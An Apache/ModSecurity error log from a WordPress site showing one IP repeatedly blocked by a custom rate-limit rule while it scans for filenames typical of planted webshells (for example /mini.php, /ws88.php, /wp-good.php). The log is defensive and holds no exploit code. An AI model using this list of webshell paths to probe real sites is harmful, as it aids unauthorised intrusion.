[Wed Apr 22 08:02:58.206226 2026] [:error] [pid 32053:tid 32055] [client 20.215.187.59:62038] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aegQMgzPjXx_ocfbYhs78AAAA0A"]
[Wed Apr 22 08:03:00.187880 2026] [:error] [pid 31755:tid 31775] [client 20.215.187.59:62055] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aegQNAz2mYMkg3X8q1uGBQAAAgw"]
[Wed Apr 22 08:03:13.158521 2026] [:error] [pid 23041:tid 23052] [client 20.215.187.59:7240] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aegQQUTXx_lUa7xwAb4H6gAAAQg"]
[Wed Apr 22 08:03:17.901687 2026] [:error] [pid 23041:tid 23055] [client 20.215.187.59:20366] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aegQRUTXx_lUa7xwAb4H7gAAAQs"]
[Wed Apr 22 08:03:20.683687 2026] [:error] [pid 23041:tid 23054] [client 20.215.187.59:7993] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aegQSETXx_lUa7xwAb4H8gAAAQo"]
[Wed Apr 22 08:04:16.328904 2026] [:error] [pid 23041:tid 23054] [client 20.215.187.59:7940] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aegQgETXx_lUa7xwAb4IPQAAAQo"]
[Wed Apr 22 08:04:17.653624 2026] [:error] [pid 31756:tid 31802] [client 20.215.187.59:40549] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aegQgd_WbkXbHaEfhd3pWwAAAko"]
[Wed Apr 22 08:04:23.429160 2026] [:error] [pid 21682:tid 21731] [client 20.215.187.59:7971] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aegQh5lXWQZUlmPHS3oZ0QAAAEg"]
[Wed Apr 22 08:04:26.340572 2026] [:error] [pid 31755:tid 31775] [client 20.215.187.59:22711] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aegQigz2mYMkg3X8q1uGqgAAAgw"]
[Wed Apr 22 08:04:27.105621 2026] [:error] [pid 31755:tid 31768] [client 20.215.187.59:22708] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aegQiwz2mYMkg3X8q1uGrQAAAgU"]
[Wed Apr 22 08:04:28.467799 2026] [:error] [pid 21682:tid 21737] [client 20.215.187.59:7242] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aegQjJlXWQZUlmPHS3oZ0gAAAE4"]
[Wed Apr 22 08:04:29.037381 2026] [:error] [pid 31755:tid 31771] [client 20.215.187.59:60937] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aegQjQz2mYMkg3X8q1uGsQAAAgg"]
[Wed Apr 22 08:04:29.857147 2026] [:error] [pid 31755:tid 31787] [client 20.215.187.59:20403] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aegQjQz2mYMkg3X8q1uGsgAAAhg"]
[Wed Apr 22 08:04:30.792524 2026] [:error] [pid 21683:tid 21773] [client 20.215.187.59:7957] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aegQjlZBWT-0diZyYyajUQAAAJc"]
[Wed Apr 22 08:04:31.646890 2026] [:error] [pid 32053:tid 32066] [client 20.215.187.59:7963] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aegQjwzPjXx_ocfbYhs8BgAAA0s"]
[Wed Apr 22 08:04:32.708019 2026] [:error] [pid 23041:tid 23059] [client 20.215.187.59:62071] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aegQkETXx_lUa7xwAb4ITAAAAQ8"]
[Wed Apr 22 08:04:33.900645 2026] [:error] [pid 23041:tid 23049] [client 20.215.187.59:20411] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aegQkUTXx_lUa7xwAb4ITQAAAQU"]
[Wed Apr 22 08:04:34.721829 2026] [:error] [pid 31755:tid 31763] [client 20.215.187.59:60974] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aegQkgz2mYMkg3X8q1uGtwAAAgA"]
[Wed Apr 22 08:04:35.729885 2026] [:error] [pid 31706:tid 31720] [client 20.215.187.59:20367] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aegQk7GSe9Rnd4Q_z1ijWQAAAcs"]
[Wed Apr 22 08:04:36.773273 2026] [:error] [pid 31844:tid 31856] [client 20.215.187.59:20408] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aegQlGtAU9CprTB4b3I10QAAAoo"]
[Wed Apr 22 08:04:38.081658 2026] [:error] [pid 21682:tid 21726] [client 20.215.187.59:20379] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aegQlplXWQZUlmPHS3oZ1wAAAEM"]
[Wed Apr 22 08:04:39.629877 2026] [:error] [pid 31755:tid 31768] [client 20.215.187.59:62034] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aegQlwz2mYMkg3X8q1uGuwAAAgU"]
[Wed Apr 22 08:04:41.414830 2026] [:error] [pid 31755:tid 31767] [client 20.215.187.59:57086] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aegQmQz2mYMkg3X8q1uGvwAAAgQ"]
[Wed Apr 22 08:04:55.522913 2026] [:error] [pid 31755:tid 31782] [client 20.215.187.59:7243] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aegQpwz2mYMkg3X8q1uG0AAAAhM"]
[Wed Apr 22 08:04:56.778389 2026] [:error] [pid 32095:tid 32097] [client 20.215.187.59:20356] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aegQqNfu5Cv628YPe598qgAAA4A"]
[Wed Apr 22 08:04:58.979401 2026] [:error] [pid 21682:tid 21738] [client 20.215.187.59:20368] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aegQqplXWQZUlmPHS3oZ5AAAAE8"]
[Wed Apr 22 08:05:00.052887 2026] [:error] [pid 23041:tid 23060] [client 20.215.187.59:20353] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aegQrETXx_lUa7xwAb4IXQAAARA"]
[Wed Apr 22 08:05:02.629745 2026] [:error] [pid 23041:tid 23063] [client 20.215.187.59:20361] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aegQrkTXx_lUa7xwAb4IXwAAARM"]
[Wed Apr 22 08:05:07.353901 2026] [:error] [pid 32053:tid 32073] [client 20.215.187.59:62043] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aegQswzPjXx_ocfbYhs8DQAAA1I"]
[Wed Apr 22 08:05:10.267735 2026] [:error] [pid 32053:tid 32069] [client 20.215.187.59:22706] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aegQtgzPjXx_ocfbYhs8DgAAA04"]
[Wed Apr 22 08:05:12.767331 2026] [:error] [pid 31949:tid 31965] [client 20.215.187.59:20409] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aegQuH2WtGZh5JfbMUdHRQAAAw0"]
[Wed Apr 22 08:05:13.996948 2026] [:error] [pid 32053:tid 32063] [client 20.215.187.59:22680] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aegQuQzPjXx_ocfbYhs8EQAAA0g"]
[Wed Apr 22 08:06:09.687915 2026] [:error] [pid 21683:tid 21761] [client 20.215.187.59:62047] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aegQ8VZBWT-0diZyYyajjAAAAIs"]
[Wed Apr 22 08:06:11.795178 2026] [:error] [pid 31756:tid 31799] [client 20.215.187.59:20402] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aegQ89_WbkXbHaEfhd3pfAAAAkc"]
[Wed Apr 22 08:06:15.252125 2026] [:error] [pid 31755:tid 31787] [client 20.215.187.59:22683] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aegQ9wz2mYMkg3X8q1uHHAAAAhg"]
[Wed Apr 22 08:06:16.876966 2026] [:error] [pid 31755:tid 31772] [client 20.215.187.59:61561] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aegQ-Az2mYMkg3X8q1uHIAAAAgk"]
[Wed Apr 22 08:06:17.971980 2026] [:error] [pid 31755:tid 31785] [client 20.215.187.59:7956] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aegQ-Qz2mYMkg3X8q1uHIwAAAhY"]
[Wed Apr 22 08:06:21.407532 2026] [:error] [pid 31949:tid 31967] [client 20.215.187.59:40555] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aegQ_X2WtGZh5JfbMUdHXwAAAw8"]
[Wed Apr 22 08:06:30.185212 2026] [:error] [pid 32095:tid 32104] [client 20.215.187.59:61523] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aegRBtfu5Cv628YPe598tgAAA4Y"]
[Wed Apr 22 08:06:30.954856 2026] [:error] [pid 21683:tid 21764] [client 20.215.187.59:61512] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aegRBlZBWT-0diZyYyajmQAAAI4"]
[Wed Apr 22 08:06:32.281175 2026] [:error] [pid 31756:tid 31793] [client 20.215.187.59:7984] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aegRCN_WbkXbHaEfhd3pgQAAAkM"]
[Wed Apr 22 08:06:33.105379 2026] [:error] [pid 31756:tid 31807] [client 20.215.187.59:7688] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aegRCd_WbkXbHaEfhd3pggAAAk8"]
[Wed Apr 22 08:06:34.153625 2026] [:error] [pid 31756:tid 31803] [client 20.215.187.59:7988] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aegRCt_WbkXbHaEfhd3phQAAAks"]
[Wed Apr 22 08:06:36.089439 2026] [:error] [pid 31755:tid 31766] [client 20.215.187.59:40572] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aegRDAz2mYMkg3X8q1uHNgAAAgM"]
[Wed Apr 22 08:06:37.587448 2026] [:error] [pid 21682:tid 21729] [client 20.215.187.59:7975] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aegRDZlXWQZUlmPHS3oaMgAAAEY"]
[Wed Apr 22 08:06:39.742913 2026] [:error] [pid 21683:tid 21754] [client 20.215.187.59:22702] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aegRD1ZBWT-0diZyYyajoQAAAIQ"]
[Wed Apr 22 08:06:40.885368 2026] [:error] [pid 21682:tid 21724] [client 20.215.187.59:40527] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aegREJlXWQZUlmPHS3oaPwAAAEE"]
[Wed Apr 22 08:06:42.092048 2026] [:error] [pid 31755:tid 31786] [client 20.215.187.59:40531] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aegREgz2mYMkg3X8q1uHOAAAAhc"]
[Wed Apr 22 08:06:44.871330 2026] [:error] [pid 32095:tid 32111] [client 20.215.187.59:62023] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aegRFNfu5Cv628YPe598vQAAA40"]
[Wed Apr 22 08:06:50.639089 2026] [:error] [pid 31755:tid 31767] [client 20.215.187.59:62028] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aegRGgz2mYMkg3X8q1uHRAAAAgQ"]
[Wed Apr 22 08:06:58.791934 2026] [:error] [pid 31755:tid 31778] [client 20.215.187.59:20382] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aegRIgz2mYMkg3X8q1uHVgAAAg8"]
[Wed Apr 22 08:06:59.476921 2026] [:error] [pid 31949:tid 31956] [client 20.215.187.59:62025] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aegRI32WtGZh5JfbMUdHYwAAAwQ"]
[Wed Apr 22 08:07:00.415861 2026] [:error] [pid 31844:tid 31864] [client 20.215.187.59:61524] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aegRJGtAU9CprTB4b3I2DQAAApI"]
[Wed Apr 22 08:07:01.037588 2026] [:error] [pid 31755:tid 31775] [client 20.215.187.59:40561] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aegRJQz2mYMkg3X8q1uHXAAAAgw"]
[Wed Apr 22 08:07:01.727285 2026] [:error] [pid 31949:tid 31963] [client 20.215.187.59:8056] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aegRJX2WtGZh5JfbMUdHZAAAAws"]
[Wed Apr 22 08:07:02.798831 2026] [:error] [pid 31756:tid 31814] [client 20.215.187.59:8037] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aegRJt_WbkXbHaEfhd3pkAAAAlY"]
